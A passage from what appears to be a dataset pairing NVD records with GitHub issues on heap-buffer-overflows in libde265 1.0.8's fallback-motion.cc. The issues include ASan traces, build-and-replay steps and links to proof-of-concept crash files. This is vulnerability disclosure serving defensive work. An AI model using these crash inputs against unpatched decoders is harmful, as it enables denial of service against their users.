#2 0x7f3e99935213 in void mc_chroma<unsigned short>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned short const*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x179213)
#3 0x7f3e99925b2d in generate_inter_prediction_samples(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, PBMotion const*) (/libde265/build/libde265/liblibde265.so+0x169b2d)
#4 0x7f3e9993290f in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x17690f)
#5 0x7f3e9996d7e3 in read_prediction_unit(thread_context*, int, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b17e3)
#6 0x7f3e9996f39a in read_coding_unit(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b339a)
#7 0x7f3e99970250 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4250)
#8 0x7f3e99970091 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4091)
#9 0x7f3e99967726 in read_coding_tree_unit(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1ab726)
#10 0x7f3e999709ea in decode_substream(thread_context*, bool, bool) (/libde265/build/libde265/liblibde265.so+0x1b49ea)
#11 0x7f3e9997270f in read_slice_segment_data(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1b670f)
#12 0x7f3e998d16d2 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x1156d2)
#13 0x7f3e998d1ec1 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x115ec1)
#14 0x7f3e998d0c0f in decoder_context::decode_some(bool*) (/libde265/build/libde265/liblibde265.so+0x114c0f)
#15 0x7f3e998d093d in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x11493d)
#16 0x7f3e998d343e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#17 0x7f3e998d3ab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#18 0x7f3e998bae95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#19 0x55a40ac18bc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#20 0x7f3e993ecc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#21 0x55a40ac169b9 in _start (/libde265/build/dec265/dec265+0x49b9)
0x62b00002951c is located 12 bytes to the right of 25360-byte region [0x62b000023200,0x62b000029510)
allocated by thread T0 here:
#0 0x7f3e99de3790 in posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdf790)
#1 0x7f3e9990c1cb in ALLOC_ALIGNED(unsigned long, unsigned long) (/libde265/build/libde265/liblibde265.so+0x1501cb)
#2 0x7f3e9990c99d in de265_image_get_buffer(void*, de265_image_spec*, de265_image*, void*) (/libde265/build/libde265/liblibde265.so+0x15099d)
#3 0x7f3e9990ed1a in de265_image::alloc_image(int, int, de265_chroma, std::shared_ptr<seq_parameter_set const>, bool, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x152d1a)
#4 0x7f3e998f30cc in decoded_picture_buffer::new_image(std::shared_ptr<seq_parameter_set const>, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x1370cc)
#5 0x7f3e998d4824 in decoder_context::generate_unavailable_reference_picture(seq_parameter_set const*, int, bool) (/libde265/build/libde265/liblibde265.so+0x118824)
#6 0x7f3e998d7332 in decoder_context::process_reference_picture_set(slice_segment_header*) (/libde265/build/libde265/liblibde265.so+0x11b332)
#7 0x7f3e998dad70 in decoder_context::process_slice_segment_header(slice_segment_header*, de265_error*, long, nal_header*, void*) (/libde265/build/libde265/liblibde265.so+0x11ed70)
#8 0x7f3e998d0246 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x114246)
#9 0x7f3e998d343e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#10 0x7f3e998d3ab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#11 0x7f3e998bae95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#12 0x55a40ac18bc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#13 0x7f3e993ecc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x148fda) in void put_epel_hv_fallback<unsigned short>(short*, long, unsigned short const*, long, int, int, int, int, short*, int)
Shadow bytes around the buggy address:
0x0c567fffd250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fffd260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fffd270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fffd280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fffd290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c567fffd2a0: 00 00 fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fffd2b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fffd2c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fffd2d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fffd2e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fffd2f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==61372==ABORTING
```
### POC
https://github.com/FDU-Sec/poc/blob/main/libde265/poc11-1
https://github.com/FDU-Sec/poc/blob/main/libde265/poc11-2
### Environment
```shell
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
```
### Credit
Peng Deng ([Fudan University](https://secsys.fudan.edu.cn))
|
Heap-buffer-overflow in fallback-motion.cc: void put_epel_hv_fallback<unsigned short>(
|
https://api.github.com/repos/strukturag/libde265/issues/345/comments
| 7 |
2022-10-10T15:09:37Z
|
2023-01-24T16:04:57Z
|
https://github.com/strukturag/libde265/issues/345
| 1,403,331,318 | 345 |
CVE-2022-43250
|
2022-11-02T14:15:14.913
|
Libde265 v1.0.8 was discovered to contain a heap-buffer-overflow vulnerability via put_qpel_0_0_fallback_16 in fallback-motion.cc. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted video file.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/strukturag/libde265/issues/346"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00020.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2023/dsa-5346"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:struktur:libde265:1.0.8:*:*:*:*:*:*:*",
"matchCriteriaId": "E86A03B2-D0E9-4887-AD06-FBA3F3500FC3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/strukturag/libde265/issues/346
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"strukturag",
"libde265"
] |
### Description
Heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x146a04) in put_qpel_0_0_fallback_16(short*, long, unsigned short const*, long, int, int, short*, int)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
### Replay
```shell
git clone https://github.com/strukturag/libde265.git
cd libde265
mkdir build
cd build
cmake ../ -DCMAKE_CXX_FLAGS="-fsanitize=address"
make -j$(nproc)
./dec265/dec265 poc12
```
### ASAN
```Shell
WARNING: end_of_sub_stream_one_bit not set to 1 when it should be
WARNING: non-existing PPS referenced
WARNING: non-existing PPS referenced
WARNING: non-existing PPS referenced
WARNING: non-existing PPS referenced
WARNING: faulty reference picture list
WARNING: non-existing PPS referenced
WARNING: non-existing PPS referenced
WARNING: non-existing PPS referenced
WARNING: faulty reference picture list
WARNING: faulty reference picture list
=================================================================
==31428==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f9a622799e0 at pc 0x7f9a60e56a05 bp 0x7ffcce26bfc0 sp 0x7ffcce26bfb0
READ of size 2 at 0x7f9a622799e0 thread T0
#0 0x7f9a60e56a04 in put_qpel_0_0_fallback_16(short*, long, unsigned short const*, long, int, int, short*, int) (/libde265/build/libde265/liblibde265.so+0x146a04)
#1 0x7f9a60e8740d in acceleration_functions::put_hevc_qpel(short*, long, void const*, long, int, int, short*, int, int, int) const (/libde265/build/libde265/liblibde265.so+0x17740d)
#2 0x7f9a60e878b6 in void mc_luma<unsigned short>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned short const*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1778b6)
#3 0x7f9a60e79837 in generate_inter_prediction_samples(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, PBMotion const*) (/libde265/build/libde265/liblibde265.so+0x169837)
#4 0x7f9a60e8690f in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x17690f)
#5 0x7f9a60ec17e3 in read_prediction_unit(thread_context*, int, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b17e3)
#6 0x7f9a60ec33fe in read_coding_unit(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b33fe)
#7 0x7f9a60ec4250 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4250)
#8 0x7f9a60ec40fe in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b40fe)
#9 0x7f9a60ebb726 in read_coding_tree_unit(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1ab726)
#10 0x7f9a60ec49ea in decode_substream(thread_context*, bool, bool) (/libde265/build/libde265/liblibde265.so+0x1b49ea)
#11 0x7f9a60ec670f in read_slice_segment_data(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1b670f)
#12 0x7f9a60e256d2 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x1156d2)
#13 0x7f9a60e25ec1 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x115ec1)
#14 0x7f9a60e24c0f in decoder_context::decode_some(bool*) (/libde265/build/libde265/liblibde265.so+0x114c0f)
#15 0x7f9a60e27ba8 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ba8)
#16 0x7f9a60e0ee95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#17 0x5637fa84dbc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#18 0x7f9a60940c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#19 0x5637fa84b9b9 in _start (/libde265/build/dec265/dec265+0x49b9)
0x7f9a622799e0 is located 464 bytes to the right of 131088-byte region [0x7f9a62259800,0x7f9a62279810)
allocated by thread T0 here:
#0 0x7f9a61337790 in posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdf790)
#1 0x7f9a60e601cb in ALLOC_ALIGNED(unsigned long, unsigned long) (/libde265/build/libde265/liblibde265.so+0x1501cb)
#2 0x7f9a60e6092a in de265_image_get_buffer(void*, de265_image_spec*, de265_image*, void*) (/libde265/build/libde265/liblibde265.so+0x15092a)
#3 0x7f9a60e62d1a in de265_image::alloc_image(int, int, de265_chroma, std::shared_ptr<seq_parameter_set const>, bool, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x152d1a)
#4 0x7f9a60e470cc in decoded_picture_buffer::new_image(std::shared_ptr<seq_parameter_set const>, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x1370cc)
#5 0x7f9a60e28824 in decoder_context::generate_unavailable_reference_picture(seq_parameter_set const*, int, bool) (/libde265/build/libde265/liblibde265.so+0x118824)
#6 0x7f9a60e2b7f5 in decoder_context::process_reference_picture_set(slice_segment_header*) (/libde265/build/libde265/liblibde265.so+0x11b7f5)
#7 0x7f9a60e2ed70 in decoder_context::process_slice_segment_header(slice_segment_header*, de265_error*, long, nal_header*, void*) (/libde265/build/libde265/liblibde265.so+0x11ed70)
#8 0x7f9a60e24246 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x114246)
#9 0x7f9a60e2743e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#10 0x7f9a60e27ab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#11 0x7f9a60e0ee95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#12 0x5637fa84dbc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#13 0x7f9a60940c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x146a04) in put_qpel_0_0_fallback_16(short*, long, unsigned short const*, long, int, int, short*, int)
Shadow bytes around the buggy address:
0x0ff3cc4472e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff3cc4472f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff3cc447300: 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff3cc447310: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff3cc447320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0ff3cc447330: fa fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa
0x0ff3cc447340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff3cc447350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff3cc447360: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff3cc447370: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff3cc447380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==31428==ABORTING
```
### POC
https://github.com/FDU-Sec/poc/blob/main/libde265/poc12
### Environment
```shell
Ubuntu 18.04.5 LTS
Clang 10.0.1
gcc 7.5.0
```
### Credit
Peng Deng ([Fudan University](https://secsys.fudan.edu.cn))
|
Heap-buffer-overflow in fallback-motion.cc: in put_qpel_0_0_fallback_16
|
https://api.github.com/repos/strukturag/libde265/issues/346/comments
| 2 |
2022-10-10T15:14:22Z
|
2023-01-24T16:04:19Z
|
https://github.com/strukturag/libde265/issues/346
| 1,403,337,666 | 346 |
CVE-2022-43252
|
2022-11-02T14:15:15.163
|
Libde265 v1.0.8 was discovered to contain a heap-buffer-overflow vulnerability via put_epel_16_fallback in fallback-motion.cc. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted video file.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/strukturag/libde265/issues/347"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00020.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2023/dsa-5346"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:struktur:libde265:1.0.8:*:*:*:*:*:*:*",
"matchCriteriaId": "E86A03B2-D0E9-4887-AD06-FBA3F3500FC3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/strukturag/libde265/issues/347
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"strukturag",
"libde265"
] |
### Description
Heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x1465fb) in put_epel_16_fallback(short*, long, unsigned short const*, long, int, int, int, int, short*, int)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
### Replay
```shell
git clone https://github.com/strukturag/libde265.git
cd libde265
mkdir build
cd build
cmake ../ -DCMAKE_CXX_FLAGS="-fsanitize=address"
make -j$(nproc)
./dec265/dec265 poc13
```
### ASAN
```Shell
WARNING: end_of_sub_stream_one_bit not set to 1 when it should be
WARNING: end_of_sub_stream_one_bit not set to 1 when it should be
=================================================================
==64370==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62b00001b510 at pc 0x7f47d023f5fc bp 0x7ffd4845c300 sp 0x7ffd4845c2f0
READ of size 2 at 0x62b00001b510 thread T0
#0 0x7f47d023f5fb in put_epel_16_fallback(short*, long, unsigned short const*, long, int, int, int, int, short*, int) (/libde265/build/libde265/liblibde265.so+0x1465fb)
#1 0x7f47d026ffe8 in acceleration_functions::put_hevc_epel(short*, long, void const*, long, int, int, int, int, short*, int) const (/libde265/build/libde265/liblibde265.so+0x176fe8)
#2 0x7f47d0271d75 in void mc_chroma<unsigned short>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned short const*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x178d75)
#3 0x7f47d0262b2d in generate_inter_prediction_samples(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, PBMotion const*) (/libde265/build/libde265/liblibde265.so+0x169b2d)
#4 0x7f47d026f90f in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x17690f)
#5 0x7f47d02aa7e3 in read_prediction_unit(thread_context*, int, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b17e3)
#6 0x7f47d02ac264 in read_coding_unit(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b3264)
#7 0x7f47d02ad250 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4250)
#8 0x7f47d02a4726 in read_coding_tree_unit(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1ab726)
#9 0x7f47d02ad9ea in decode_substream(thread_context*, bool, bool) (/libde265/build/libde265/liblibde265.so+0x1b49ea)
#10 0x7f47d02af70f in read_slice_segment_data(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1b670f)
#11 0x7f47d020e6d2 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x1156d2)
#12 0x7f47d020eec1 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x115ec1)
#13 0x7f47d020dc0f in decoder_context::decode_some(bool*) (/libde265/build/libde265/liblibde265.so+0x114c0f)
#14 0x7f47d020d93d in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x11493d)
#15 0x7f47d021043e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#16 0x7f47d0210ab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#17 0x7f47d01f7e95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#18 0x555f566e3bc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#19 0x7f47cfd29c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#20 0x555f566e19b9 in _start (/libde265/build/dec265/dec265+0x49b9)
0x62b00001b510 is located 0 bytes to the right of 25360-byte region [0x62b000015200,0x62b00001b510)
allocated by thread T0 here:
#0 0x7f47d0720790 in posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdf790)
#1 0x7f47d02491cb in ALLOC_ALIGNED(unsigned long, unsigned long) (/libde265/build/libde265/liblibde265.so+0x1501cb)
#2 0x7f47d024999d in de265_image_get_buffer(void*, de265_image_spec*, de265_image*, void*) (/libde265/build/libde265/liblibde265.so+0x15099d)
#3 0x7f47d024bd1a in de265_image::alloc_image(int, int, de265_chroma, std::shared_ptr<seq_parameter_set const>, bool, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x152d1a)
#4 0x7f47d02300cc in decoded_picture_buffer::new_image(std::shared_ptr<seq_parameter_set const>, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x1370cc)
#5 0x7f47d02173ff in decoder_context::process_slice_segment_header(slice_segment_header*, de265_error*, long, nal_header*, void*) (/libde265/build/libde265/liblibde265.so+0x11e3ff)
#6 0x7f47d020d246 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x114246)
#7 0x7f47d021043e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#8 0x7f47d0210ab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#9 0x7f47d01f7e95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#10 0x555f566e3bc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#11 0x7f47cfd29c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x1465fb) in put_epel_16_fallback(short*, long, unsigned short const*, long, int, int, int, int, short*, int)
Shadow bytes around the buggy address:
0x0c567fffb650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fffb660: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fffb670: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fffb680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fffb690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c567fffb6a0: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fffb6b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fffb6c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fffb6d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fffb6e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fffb6f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==64370==ABORTING
```
### POC
https://github.com/FDU-Sec/poc/blob/main/libde265/poc13
### Environment
```shell
Ubuntu 18.04.5 LTS
Clang 10.0.1
gcc 7.5.0
```
### Credit
Peng Deng ([Fudan University](https://secsys.fudan.edu.cn))
|
Heap-buffer-overflow in fallback-motion.cc in put_epel_16_fallback
|
https://api.github.com/repos/strukturag/libde265/issues/347/comments
| 2 |
2022-10-10T15:16:32Z
|
2023-01-24T16:04:09Z
|
https://github.com/strukturag/libde265/issues/347
| 1,403,340,599 | 347 |
CVE-2022-43253
|
2022-11-02T14:15:15.450
|
Libde265 v1.0.8 was discovered to contain a heap-buffer-overflow vulnerability via put_unweighted_pred_16_fallback in fallback-motion.cc. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted video file.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
